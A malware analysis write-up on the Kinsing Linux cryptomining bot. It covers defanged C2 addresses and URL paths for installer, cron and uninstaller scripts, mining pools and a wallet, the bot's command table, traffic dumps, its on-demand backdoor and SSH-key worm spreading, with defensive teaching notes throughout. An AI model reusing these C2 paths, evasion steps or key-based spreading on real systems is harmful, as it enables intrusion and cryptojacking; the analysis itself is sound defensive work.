《 1. Introduction 》
x.x.x.x / xxxx; all IOC IPs are masked as w[.]x.y[.]z; every artifact marked [ITW] was spotted in the wild attack.This is a public threat basis, there is no specific cases I handled is in relation to this threat, I have been kept following its progress for 4-5 years, and I think it is a good time to inform widely how dangerous the well-planned Linux malware/botnet would look like in this post. It has been more than six years since I finalized the first analysis and following it afterward. I have made sure that the botnet infrastructure described here is mostly inactive now, bare to old IOC for that is the safely state to share. And I think it is a good time for all of us to look back at how rude this malware was.
For learning and research reference, this material is a good example of how a Linux malware can do damage at multiple levels through worm-like infection stages — from one weak Redis or one leaked SSH key to a whole fleet of servers mining for somebody else.
Please do not use this report for bad purposes. The malicious scripts in this post are shown as images on purpose; they are here to be read and understood, not to be used nor run.
Linux/Kinsing is a Go-written ELF bot with remote command execution, coded by an actor who calls himself "nook" and operated by the SystemTen gang. The bot is mainly used to plant a tweaked XMRig miner, but it does much more than mining: encrypted C2 tasking, an on-demand backdoor, a SOCKS proxy, mass-scanning, Redis AUTH brute-forcing and SSH-key based spreading.
The infrastructure in this post is from the 2019–2020 case and is dead now, but the family is not. Kinsing (also tracked as H2Miner) kept evolving after this analysis, for example targeting Apache Tomcat servers in 2024 (Tenable) and running campaigns against companies in Russia in 2025 (F6 on Habr). So the techniques you will learn here are still relevant for defenders today.
■ How to read this post
- The case was reversed with radare2 and confirmed with syscall tracing (strace) and memory forensics on a recorded test infection.
- Gray ▸ lines are my original analysis notes, kept word for word.
- Dark code boxes hold dumps and indicators; the lines that matter most are highlighted in red.
- What to learn here boxes explain, for students, what you should take away from each piece of data.
- The chapters follow the attack from the binary → the network → the infection steps → spreading → detection.
- Never run real samples outside an isolated lab (no bridged network, snapshots ready, no real credentials or SSH keys inside).
- A good analysis combines static reversing (what the code can do) with dynamic tracing and forensics (what it actually did). This post uses both.
《 2. Threat information and the bot scheme 》
This chapter puts the whole case in one place: what this bot is, who coded it, where Patient-0 got it from and why it is dangerous. Every point is detailed in the later chapters.
SystemTen used new ELF bot with RCE function for mining support
They called this bot as "kinsing" coded by "nook"
The initial script installer & miner ELF file were embedded
It is an evolution moniker of this bot: hxxps://imgur.com/a/H7YuWuj
Case detection dated: Dec, 2019. Threat origin: PRC/China
Patient0 had infection from pastebin at hxxps://pastebin.com/f4fYBPLe
This bot has a built in function to scan+infect a weak auth redis system.
The massscan fucntion is downloading ssh scanner tool to be executing from the bot RCE.
RCE and backdoor function is lethal to the system infected by suid0, and-
critical infrastructure server's data can be posted to the C2 by backdoor or HTTP in encrypted form.
Severity: High.
The evolution of the bot's moniker is recorded here: imgur.com/a/H7YuWuj.
- Start every report with a short executive summary: what the threat is, how it gets in, what it does and how bad it is. Busy readers may read only this part.
- Note the initial vector (here a Pastebin-hosted script) separately from the capabilities (RCE, scanning, brute-force, backdoor). Defenders need both.
《 3. Binary information and major functionality 》
The sample is a big (16 MB+) statically compiled Go 1.13 ELF for x86-64, stripped. Go static binaries are fat because the whole runtime and every imported library are linked in. Most of the size is library code; the malicious logic sits in the main.* package.
MD5 6bffa50350be7234071814181277ae79 (VT has sample, not exclusive) SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0 ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped Size 16.28 MB (17072128 bytes) GoLang 1.13 static compiled ELF,
- Always record the hashes and the
fileoutput first. They are your pivot points for VirusTotal, sandboxes and colleagues. (Adding SHA-256 is today's standard.) - "statically linked, stripped" means there are no dynamic imports to read. For Go, function names still survive in
.gopclntab, so use Go-aware tooling (radare2 Go analysis, GoReSym, redress). - A 16 MB binary for a "simple bot" is a hint that something is embedded inside. Later we find a miner and scripts packed in it.
- Embedding miner binary and shell script installer
- Networking is on HTTP, supporting http with proxy and socks5
- File creation, file deletion, file dropping, file downloading,
- Receiving command from C2 on encrypted HTTP communication & execution them.
- Scanning redis servers, bruteforce them
- Having Remote Command Execution to OS command or execution on shellscripts.
- Have a self updating scheme.
- Have the persistence installer scheme, persistent on crontab
- Have specific commands for miner infection and management purpose.
- The bot downloads and drops scripts that can uninstall legit systems and can replace them with malicious contents.
- The bot C2 is more than 4.
- The callback IP addresses for the bot and script installers is more than 5.
- Infected machine data is sent to C2 via HTTP header and bot sent HTTP data encrypted traffic.
- The backconnect command also exists for reverse shell purpose.
- Has the backdoor function
- Turn a capability list like this into questions for your analysis: where is the code for each item, and what evidence (traffic, files, processes) does each one leave?
- Several items here (crontab persistence, uninstalling security agents, killing other miners) are typical of the Linux cryptojacking ecosystem, not only of kinsing.
《 4. C2, protocol and network indicators 》
The C2 list is hardcoded in the binary as one string separated by ;hxxp://. The bot simply tries the C2s one by one over plain HTTP on tcp/80.
45[.]10.88[.]102:80 91[.]215.169[.]111:80 139[.]99.50[.]255:80 46[.]243.253[.]167:80 195[.]123.220[.]193:80
[0x01193247 [Xadvc]3 22% 2304 kinsing]> prx @ hit2_1 - offset - 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF 0x01193247 45[.]10.88[.]102;hxxp://91[.]215.169[.]111;hxxp://139[.]99.50[.]255;hxxp://4 0x01193287 6[.]243.253[.]167;hxxp://195[.]123.220[.]193............................ 0x011932c7 ................................................................
- Searching strings with radare2 (
/ hxxp://and then printing the hit) is often the fastest way to find C2s in a bot. Notice how the list is packed into one string. - Five C2s give redundancy: blocking only one of them does not stop the bot. Always collect the full list.
■ Hardcoded C2 list of another build (a71ad3, confirmed in the sample)
The same C2 string exists in the build a71ad3167f9402d8c5388910862b16ae (the one that spr.sh installs). Four of the five C2s are the same as above; the fourth slot changed to a new address. The view below is from the analysis notes; the bytes were re-confirmed in the sample at file offset 0xd349d4 (virtual address 0x11349d4).
[0x0113497f [Xadvc]3 22% 2304 kinsing]> prx @ entry0+13471951 # 0x113497f - offset - 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF 0x0113497f ................................................................ 0x011349bf .hxxp://45[.]10.88[.]102;hxxp://91[.]215.169[.]111;hxxp://139[.]99.50[.]255; 0x011349ff hxxp://193[.]33.87[.]220;hxxp://195[.]123.220[.]193..................... 0x01134a3f ................................................................
- When the same C2 string is found in several builds with one slot changed, you can track how the operator rotates infrastructure while keeping the code.
- Always record both the file offset and the virtual address of an artifact: tools differ (radare2 shows virtual addresses,
strings -t xshows file offsets).
HTTP/1.1, port tcp/80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: {CPU Architecture}
Cores: {CPU Core numbers}
Mem: {Active allocable memory}
Os: {linux}
Osname: {distribution info}
Osversion: {OS version}
Root: {true|false}
Uuid: {BOT UUID}
Version: {28}
- The User-Agent pretends to be Chrome 78 on Windows, which is a strange choice for a Linux server bot. This kind of mismatch is a classic network detection idea.
- The custom headers (
Arch,Cores,Mem,Os,Uuid,Version) are sent in clear text. They make a very reliable IDS signature even though the body is encrypted.
- When the private key is inside the bot, the "encryption" protects the operator only from casual eyes. An analyst who extracts the key can decrypt the traffic. The key is shown in the captured traffic chapter.
embeded, and downloaded scripts: 217[.]12.221[.]244:80 195[.]3.146[.]118:80 miner pools set by the bad actor: stratum+tcp: // 45[.]89.230[.]240:80 stratum+tcp: // 178[.]170.189[.]5:80 stratum+tcp: // 92[.]63.99[.]17:80
pass x 42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
- Mining pools and a wallet address tie infections together. The same wallet across many cases means the same operator, which is useful for clustering in CTI.
- Note the trick of running stratum over port 80 so the traffic blends in with normal web traffic and passes simple firewalls.
《 5. Bot commands and C2 URL scheme 》
Each C2 task arrives as a command keyword, and each keyword maps to a Go function in the main package. The table below pairs each original function with the command that triggers it.
BOT FUNCTIONS() , BOT COMMANDS ------------------------------- runTaskWithHttp() // "request" runTaskWithScan() // "scan" updateTask() // "update" startCmd() // "exec" execTaskOut() // "execoutput" runTask(),tcpTask()// "tcp" masscan() // "massscan" backconnect() // "backconn" socks() // "socks" makeClient() // "up" redisBrute() // redis_brute
- Mapping command → function is the core of bot reversing. Once you have this table you can explain every capability and predict the traffic for each command.
hxxp://{C2-IP}/s => POST initial infection data
hxxp://{C2-IP}/h => reply "c." (up)
hxxp://{C2-IP}/get => receiving encrypted command
hxxp://{C2-IP}/hers => UNKNOWN
hxxp://{C2-IP}/mg => UNKNOWN
hxxp://{C2-IP}2/o => post encrypted DATA
hxxp://{C2-IP}/spre.sh => updater for kinsing installer script
hxxp://{C2-IP}/al.sh => uninstaller for services like quartz etc
hxxp://{C2-IP}/cron.sh => persistence installer
hxxp://{C2-IP}/kinsing => update bot binary url
- Short URL paths like
/s,/h,/getand/oare the bot's API. They are great for hunting in proxy logs: look for the paths together with the custom headers from the network chapter. - "UNKNOWN" entries are honest analysis: write down what you could not confirm instead of guessing. That is the check-and-recheck habit.
《 6. Captured C2 traffic and the embedded RSA key 》
The snippets below are memory captures taken while the bot was running, which is the forensic view of the same traffic. They show that the clear-text HTTP header leaks the victim's profile, while the body is encrypted.

- Finding the full downloaded script inside process memory proves it was fetched and handled by the bot. That is stronger evidence than a URL in the binary.
- Look at the reply header too:
Server: nginx/1.14.2andLast-Modifiedhelp you fingerprint and date the attacker's server.
0xc000185000 504f 5354 202f 6f20 4854 5450 2f31 2e31 0d0a 486f POST /o HTTP/1.1..Ho 0xc000185014 7374 3a20 3931 2e32 3135 2e31 3639 2e31 3131 0d0a st: 91[.]215.169[.]111.. 0xc000185028 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 6c6c 612f User-Agent: Mozilla/ 0xc00018503c 352e 3020 2857 696e 646f 7773 204e 5420 3130 2e30 5.0 (Windows NT 10.0 0xc000185050 3b20 5769 6e36 343b 2078 3634 2920 4170 706c 6557 ; Win64; x64) AppleW 0xc000185064 6562 4b69 742f 3533 372e 3336 2028 4b48 544d 4c2c ebKit/537.36 (KHTML, 0xc000185078 206c 696b 6520 4765 636b 6f29 2043 6872 6f6d 652f like Gecko) Chrome/ 0xc00018508c 3738 2e30 2e33 3930 342e 3130 3820 5361 6661 7269 78.0.3904.108 Safari 0xc0001850a0 2f35 3337 2e33 360d 0a43 6f6e 7465 6e74 2d4c 656e /537.36..Content-Len 0xc0001850b4 6774 683a 2032 300d 0a41 7263 683a 2061 6d64 3634 gth: 20..Arch: amd64 0xc0001850c8 0d0a 436f 6e74 656e 742d 5479 7065 3a20 6170 706c ..Content-Type: appl 0xc0001850dc 6963 6174 696f 6e2f 6f63 7465 742d 7374 7265 616d ication/octet-stream 0xc0001850f0 0d0a 436f 7265 733a 2031 0d0a 4d65 6d3a 2032 3434 ..Cores: 1..Mem: 244 0xc000185104 0d0a 4f73 3a20 6c69 6e75 780d 0a4f 736e 616d 653a ..Os: linux..Osname: 0xc000185118 2064 6562 6961 6e0d 0a4f 7376 6572 7369 6f6e 3a20 debian..Osversion: 0xc00018512c 372e 3131 0d0a 526f 6f74 3a20 6661 6c73 650d 0a55 7.11..Root: false..U 0xc000185140 7569 643a 2078 7878 7878 7878 782d 7878 7878 2d78 uid: xxxxxxxx-xxxx-x 0xc000185154 7878 782d 7878 7878 2d78 7878 7878 7878 7878 7878 xxx-xxxx-xxxxxxxxxxx 0xc000185168 780d 0a56 6572 7369 6f6e 3a20 3238 0d0a 4163 6365 x..Version: 28..Acce 0xc00018517c 7074 2d45 6e63 6f64 696e 673a 2067 7a69 700d 0a0d pt-Encoding: gzip... 0xc000185190 0a57 7a68 50cb 0cdf 76fb 128e d736 14b3 4aa1 2953 .WzhP...v....6..J.)S
- Read the hexdump columns: offset | hex bytes | ASCII. The ASCII column shows the victim profile headers (Arch amd64, 1 core, Debian 7.11, not root), followed by the encrypted body.
0xc000184000 4854 5450 2f31 2e31 2032 3030 204f 4b0d 0a53 6572 HTTP/1.1 200 OK..Ser 0xc000184014 7665 723a 206e 6769 6e78 2f31 2e31 302e 330d 0a44 ver: nginx/1.10.3..D 0xc000184028 6174 653a 2053 756e 2c20 3136 2046 6562 2032 3032 ate: Sun, 16 Feb 202 0xc00018403c 3020 3131 3a33 323a 3432 2047 4d54 0d0a 436f 6e74 0 11:32:42 GMT..Cont 0xc000184050 656e 742d 5479 7065 3a20 7465 7874 2f70 6c61 696e ent-Type: text/plain 0xc000184064 3b20 6368 6172 7365 743d 7574 662d 380d 0a43 6f6e ; charset=utf-8..Con 0xc000184078 7465 6e74 2d4c 656e 6774 683a 2032 0d0a 436f 6e6e tent-Length: 2..Conn 0xc00018408c 6563 7469 6f6e 3a20 6b65 6570 2d61 6c69 7665 0d0a ection: keep-alive.. 0xc0001840a0 0d0a 6313 577a 6850 cb0c df76 fb12 8ec7 2e10 b74a ..c.WzhP...v.......J 0xc0001840b4 a129 158e 17bc b9af b2ed e55c c645 9518 4e85 78da .).........\.E..N.x. 0xc0001840c8 9b95 2511 fe3f 87ae 13ac edbe baac 7270 04b4 2f62 ..%..?........rp../b 0xc0001840dc d8b5 2f8f 8680 9485 e0c9 5900 ee9f 26c0 fe2c 6f9b ../.......Y...&..,o. 0xc0001840f0 0d93 333b fbef ee7e 72d2 b8c4 7d4d 1716 5732 9f01 ..3;...~r...}M..W2.. 0xc000184104 c559 4064 d108 514a d02e eed5 3b9f 72b1 a212 bf2e .Y@d..QJ....;.r..... 0xc000184118 ee51 5a64 68ac 1b93 ac38 2001 b802 0fc0 4806 c1b1 .QZdh....8 .....H... 0xc00018412c f982 6b00 0000 0000 0000 0000 0000 0000 0000 0000 ..k.
Content-Type: text/plainon an encrypted binary blob is another anomaly worth a detection rule.

- Hardcoded keys are a gift to analysts. With this key the C2 commands can be decrypted, which is exactly how the backdoor configuration was recovered.
- Memory forensics often recovers secrets that never touch the disk. Dump the process memory before you kill the process.
《 7. Bot overall design 》
This is the whole picture in one textual diagram. Read it from the top-left: the installer (or the Pastebin script) brings in the kinsing ELF; kinsing drops its embedded script and its embedded miner; the C2 command actions then branch out into script execution, cron persistence, mass-scanning, killing services and Redis AUTH brute-forcing. Finally spre.sh loops back to the installer for self-updating.
+--------------------+ | kinsing installer/ | +----------------------------------------<---------------------+ | pastebin script | | | +--------+-----------+ | | | v | | +------------------+ | +-> | kinsing ELF | | +---------> +------------------+ +----------------+ | | | embedded script +------> | /tmp/.ICEd-uni+---+ | | +------------------+ +----------------+ | | | | | +----------------+ | +------------------+ | | | embedded ELF +------> | /tmp/kdevtmpfs| +->| downloaded | | | +--------+---------+ | | | spre.sh (updater|-->-+ | | +----------------+ +------------------+ | | | | +-----------------------------+ +-------------------+ | | | C2 bot command's actions |----> |C2 script execution| | +------------> |-----------------------------| +-------------------+ | | | | | hxxp://{C2-IP}/s | +-------------------+ | | hxxp://{C2-IP}/h |----> |cron installer/sh | | | hxxp://{C2-IP}/get | +-------------------+ | | hxxp://{C2-IP}/hers | +-------------------+ +-----------<------------------------| hxxp://{C2-IP}2/o |----> | massscan script | | hxxp://{C2-IP}/spre.sh | +-------------------+ | hxxp://{C2-IP}/al.sh | +-------------------+ | hxxp://{C2-IP}/cron.sh |----> |svc uninstaller/sh | | hxxp://{C2-IP}/kinsing | +-------------------+ | | +-------------------+ | |----> | Redis access brute| +-----------------------------+ +-------------------+
- Draw a diagram like this before you write the report. It forces you to understand how the parts connect, and readers grasp a design far faster from a picture than from text.
- Notice the two loops: the C2 → bot loop (tasking) and the
spre.sh→ installer loop (self-update). Loops like these make malware resilient, because cleaning one part is not enough.
《 8. Full list of kinsing main functions 》
These are the original main.* function names recovered from the stripped Go binary, with their addresses. Go keeps function names in .gopclntab even when the binary is stripped, which is why reversing Go bots is easier than it first looks.
doTask = 0x0790B70 main = 0x0792560 redisBrute = 0x07A1A60 DownloadFile = 0x0799B40 Hosts = 0x07A2180 RC4 = 0x079A270 RandStringRunes = 0x07A2080 addResult = 0x079B1F0 backconnect = 0x079F2F0 checkHealth = 0x0798E80 connectForSocks = 0x079B420 contains = 0x07A2480 copyFileContents = 0x0795A70 doRequestWithTooManyOpenFiles = 0x079A420 downloadAndExecute = 0x07A1A10 encStruct = 0x0799A90 execTaskOut = 0x079C3B0 getMinerPid = 0x0798A40 getOrCreateListForTaskResult = 0x079B290 getOrCreateUuid = 0x079B7A0 getTargets = 0x07969B0 getTask = 0x0796530 getWriteableDir = 0x0795C40 hash_file_md5 = 0x07A2540 healthChecker = 0x07939C0 init = 0x07A49A0 init_0 = 0x0792380 isMinerRunning = 0x0793DA0 makeClient = 0x079A0C0 masscan = 0x079E5A0 minRun = 0x0794290 minerRunningCheck = 0x0793B20 move = 0x079B980 request = 0x079F340 resultSender = 0x079AD80 runTask = 0x079BB00 runTaskWithHttp = 0x079C400 runTaskWithScan = 0x079CCD0 runcmd = 0x0790F60 sendMinerPid = 0x0798600 sendResult = 0x0797A10 sendSocks = 0x0798130 setExecOutput = 0x07995E0 setLog = 0x0799160 socks = 0x079F2A0 startCmd = 0x07914A0 startCmdWithOutputSingle = 0x0791960 startSocks = 0x0795E40 taskScan = 0x079E2A0 taskWithHttpWorker = 0x079C9B0 taskWithScanWorker = 0x079D070 taskWorker = 0x079C0A0 tcpTask = 0x07A0A50 updateTask = 0x079D390
- Group the names by purpose: tasking (
getTask,runTask*), mining (minRun,isMinerRunning), spreading (masscan,redisBrute), remote access (backconnect,socks) and housekeeping (healthChecker,getOrCreateUuid). This grouping becomes your report outline. - Interesting names to read first:
RC4andencStruct(crypto), andgetWriteableDir(where it drops files).
《 9. Infection state (recorded test) 》
Recorded test infection. The lsof view shows the lock file, the backdoor socket already LISTENing, the C2 sessions and a deleted work file under /tmp/.ICEd-unix/. The process tree shows kinsing re-forked and detached, living like a daemon under init.
kinsing 2721 xxxx cwd DIR 8,1 4096 397369 /home/test kinsing 2721 xxxx rtd DIR 8,1 4096 2 / kinsing 2721 xxxx txt REG 8,1 17072128 396829 /home/test/kinsing kinsing 2721 xxxx 0r CHR 1,3 0t0 1205 /dev/null kinsing 2721 xxxx 1w CHR 1,3 0t0 1205 /dev/null kinsing 2721 xxxx 2w CHR 1,3 0t0 1205 /dev/null kinsing 2721 xxxx 3uW REG 0,15 0 5995 /run/lock/linux.lock kinsing 2721 xxxx 4u 0000 0,9 0 1203 anon_inode kinsing 2721 xxxx 7r IPv6 6357 0t0 TCP *:31652 (LISTEN) kinsing 2721 xxxx 5r CHR 1,9 0t0 1210 /dev/urandom kinsing 2721 xxxx 6u IPv4 6029 0t0 TCP x.x.x.x:42646->91[.]215.169[.]111:80 (CLOSE_WAIT) kinsing 2721 xxxx 9r IPv4 6671 0t0 TCP x.x.x.x:42654->91[.]215.169[.]111:80 (ESTABLISHED) kinsing 2721 xxxx 12r REG 8,1 4 1310783 /tmp/.ICEd-unix/259292916 (deleted) kinsing 2721 xxxx 13u IPv4 6515 0t0 TCP x.x.x.x:50261->217[.]12.221[.]244:80 (ESTABLISHED)
lsof -p <pid>is one of the best live-response commands on Linux. In one view you get files, sockets, the lock file and even deleted files that are still open.- A file marked
(deleted)can still be recovered from/proc/<pid>/fd/<n>while the process runs. Grab it before you kill the process!
init ├─udevd --daemon │ ├─udevd --daemon ├─rpcbind -w ├─rpc.statd ├─rpc.idmapd ├─rsyslogd -c5 │ └─3*[{rsyslogd}] ├─acpid ├─getty 38400 tty1 ├─getty 38400 tty2 ├─getty 38400 tty3 ├─getty 38400 tty4 ├─getty 38400 tty5 ├─getty 38400 tty6 | ├─kinsing <==== // after re-forked & detached from- │ └─5*[{kinsing] // environment, runs like daemon
- A process that is a direct child of init/systemd, not attached to any terminal and named like nothing you installed deserves a look. Daemonizing hides the process's origin, but not its parent.
《 10. Infrastructure used by the attacker 》
All IPs found in the bot, its scripts and its miner configuration, with reverse DNS, ASN, prefix, AS name and country. The C2 and download servers are spread over hosting in UA, RU, NL, FR and LV.
45[.]10.88[.]102 | takewyn4.com.ntup.network. |48693 | 45[.]10.88[.]0/23 | NTSERVICE-AS | UA 91[.]215.169[.]111 | bh63797.dnsrus.net. |49693 | 91[.]215.168[.]0/22 | BEST-HOSTER | RU | 139[.]99.50[.]255 | ip255.ip-139-99-50.net. |16276 | 139[.]99.0[.]0/17 | OVH | FR | 46[.]243.253[.]167 | |58272 | 46[.]243.253[.]0/24 | LEADERTELECOMBV-AS | NL | 195[.]123.220[.]193 | vds-426960.hosted-by-itldc.com. |21100 | 195[.]123.216[.]0/21 | ITLDC-NL | UA | 217[.]12.221[.]244 | vds-448534.hosted-by-itldc.com. |15626 | 217[.]12.220[.]0/22 | ITLAS | UA | 195[.]3.146[.]118 | |41390 | 195[.]3.144[.]0/22 | RN-DATA- | LV | 45[.]89.230[.]240 | |51659 | 45[.]89.230[.]0/24 | ASBAXET | RU | 178[.]170.189[.]5 | |58272 | 178[.]170.189[.]0/24 | LEADERTELECOMBV-AS | NL | 92[.]63.99[.]17 | k0miza2.vps. |29182 | 92[.]63.96[.]0/21 | THEFIRST-AS | RU |
- Enrich every IP with ASN, prefix and hosting provider. Patterns (cheap VPS providers, the same AS used twice, such as AS58272 here) help you find more attacker servers.
- Infrastructure changes quickly. Always record the date you observed it, and re-check before blocking.
■ Additional infrastructure seen with later builds and campaigns (2020-04 .. 2020-08)
| IP (masked) | Role | Seen in | Notes |
|---|---|---|---|
| 213[.]32.10[.]148 | v31 C2 (single C2, /mg /ms /get) | v31 "Dev 2066" (Jul–Aug 2020) | nginx/1.14.2; decrypted from hex data in the bot |
| 5[.]23.52[.]131 | v31 miner pool connection (tcp/80) | v31 lsof / strace | connected by the dropped miner process |
| 193[.]33.87[.]220 | C2 (4th slot of the hardcoded list) | build a71ad3 | confirmed in the sample |
| 45[.]153.231[.]180 | download server: kinsing, kinsing2, t, LifExp.class | VirusTotal relations 2020-04-28 .. 2020-05-06 | a Java class named LifExp.class suggests an exploit payload (not verified here) |
| 95[.]142.40[.]254 | download server: kinsing2, t, t.sh; served an ELF named kinsing | VirusTotal relations 2020-04-28 .. 2020-05-06 | AS210079 EuroByte LLC, 95[.]142.40[.]0/22 (from VirusTotal) |


- Pivot on file names (
kinsing,kinsing2,t.sh) in VirusTotal or passive DNS relations: the operator reuses names, so one known server leads you to others. - A non-ELF artifact on a bot download server (here a Java
.class) is a hint about the initial-access exploit used in that wave; verify it before you write it as fact.
《 11. The backdoor function 》
The backdoor is not always on. It is opened on demand by the C2, and the port and password are chosen by the attacker for each session.
kinsing 2721 xxxx 7r IPv6 6357 0t0 TCP *:31652 (LISTEN)
$ nc -v -v -v -z localhost 31652 localhost [127[.]0.0[.]1] 31652 (?) open scan test sent 10, rcvd 0 $
{
{
"Id":516,
"Data":""
}
"Pass":"qmjiHfuW",
"Port":31652
} keep-alive 31652
the trigger of the backdoor is the command from C2 called backconn.
the attacker will send the encrypted REST API and that will open the backdoor in the client.
the port number is depend on the attacker, no significant port is open.
Decrypted command from c2 will look like below:
{"Id":504,"Data":""}Pass":"SkMNRTlf","Port":31105}
- A random high port opening suddenly (here 31652) on a server is a strong signal. Baseline the listening ports on your servers and alert on new ones.
- Testing the port with
ncsafely confirmed it was open. Cracking the config then explained why it opened. Use both: observe, then explain.
《 12. How the process works, step by step 》
Now let's follow the infection step by step, as recorded by syscall tracing and confirmed by memory forensics. Each sub-section follows the order in which things happen on the infected box.
■ 11.1 Lock file, work directory, dropped files and host profiling
/var/lock/linux.lock
/tmp/.ICEd-unix/
/tmp/.ICEd-unix/uuid // bit ID (uuid)
/tmp/.ICEd-unix/{random} // shell scriptinstaller placeholder/work files
/tmp/kdevtmpfs (miner)
/etc//localtime /proc/stat /usr/bin/getconf -a /proc/meminfo uuid /etc/lsb-release /usr/local/bin/lsb_release /usr/bin/lsb_release /proc/meminfo /proc/filesystems",
- A lock file stops two copies of the bot from running at once. For defenders it is also a cheap host IOC.
/tmp/.ICEd-unix/imitates the legitimate X11 directory/tmp/.ICE-unix/, and the miner namekdevtmpfsiimitates the kernel'skdevtmpfs. One letter of difference is a classic masquerading trick.
readlink("/usr/bin/python", "python2.7"..., 4096)
/usr/bin/python2.7
/usr/bin/Modules/Setup"
/usr/bin/lib/python2.7/os.py"
/usr/bin/lib/python2.7/lib-dynload"
:
execve("/usr/local/bin/dpkg-query"
execve("/usr/bin/dpkg-query",
open("/var/lib/dpkg/arch
open("/var/lib/dpkg/status"
/etc/oracle-release
/etc/enterprise-release",
/etc/slackware-version",
/etc/debian_version
"/usr/bin/raspi-config
/etc/debian_version
/var/lib/dpkg/updates/"
/var/lib/dpkg/triggers/File"
read(3, "/usr/share/info install-info\n/usr/man man-db\n/usr/share/man man-db\n
/usr/local/man man-db\n/usr/local/share/man man-db\n/usr/X11R6/man.....
/var/lib/dpkg/triggers/Unincorp"
- Profiling the OS, package manager and Python install tells the bot how to install things later (yum or apt). Bursts of reads of
/etc/*-releaseand dpkg files from an unknown process are suspicious.
■ 11.2 First contact to the C2: the "up" handshake and getting tasks
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP)
setsockopt(6, SOL_SOCKET, SO_BROADCAST, [1], 4)
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("45[.]10.88[.]102")}, 16 <unfinished ...>
getsockopt(6, SOL_SOCKET, SO_ERROR, <unfinished ...>
close(6)
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91[.]215.169[.]111")}, 16 <unfinished ...>
getpeername(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91[.]215.169[.]111")}, [16]) = 0
write(6, "GET /h HTTP/1.1\r\nHost: 91[.]215.169[.]111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\n
Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:35:38 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 2\r\n
Connection: keep-alive\r\n\r\n
c\23", 4096)
write(6, "GET /get HTTP/1.1\r\nHost: 91[.]215.169[.]111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\n
Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:35:49 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337v\374\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\30N\205x\332\233\225%\21\376?\207\256\23\254\355
\276\262\254sz\7\241!\24\343\256:\202\310\230\237\202\347\300P\7\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\33\304
\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\214[\5\201\354\342\3104\35", 4096) = 304
WzhP313f337v37422216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?20725623254355
276262254sz7241!24343256:202310230237202347300P7364221P374344;k236K2138&365235321ct204240317`Ca+S:22533304
17Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35276224214[5201354342310435
- strace shows the exact bytes the bot writes to and reads from the socket, which is much clearer than a pcap when the protocol is custom.
- Failover behavior (trying the next C2 after a failed connect) explains why you see SYNs to several IPs from one infected host.
■ 11.3 The embedded SSH spreader script
The script collects private keys, users, hosts and SSH ports from ~/.ssh/config, known_hosts, /etc/hosts, bash histories and running processes. It then tries every combination to push the installer to other machines. This is worm-like lateral movement that abuses keys the victim already trusts.


- This is the worm stage. No exploit is needed: the bot reuses SSH keys and hosts that the admin already trusts. One infected box can reach every server its keys open.
- Defense: no passphrase-less private keys on servers, restrict
authorized_keysby source (from=), and watch for bursts of outgoing non-interactive SSH connections that skip host-key verification. - Note the throttling (sleep after every 20 tries) and the cleanup of hanging ssh processes. The author cared about not being noticed.
■ 11.4 Execution of the dropped script and the spr.sh updater / bot-killer
Highlights of spr.sh: it removes syslog, disables the firewall, SELinux and AppArmor, uninstalls Alibaba and Tencent cloud security agents, then kills a very long list of competing miners, botnets and Docker images. It re-downloads kinsing (with an MD5 check and three fallback URLs) and installs cron persistence. The image is scrollable; the key lines are highlighted.
- Defense evasion first: logs deleted, firewall flushed, SELinux and AppArmor disabled, and cloud security agents removed before the payload runs. If your monitoring agent dies suddenly, treat that as an alert by itself.
- Competition: the huge kill list shows that Linux servers are a battlefield where miners kill each other. The names and IPs in it are a free list of other threats to hunt for.
- Resilience: MD5 self-check, three download sources (including a public code-hosting site) and a cron job every minute. Cleaning only the binary is useless if the cron entry stays.
■ 11.5 Cron persistence installer

open("crontabs/tmp.4J0udL",
- Persistence via an every-minute cron entry that downloads a script and pipes it to a shell is the most common Linux malware persistence. During incident response, review the crontab of every user and the system cron spool directory.
- The cron-cleaning lines delete competitors' cron entries. Rival campaigns can be identified from these patterns too.
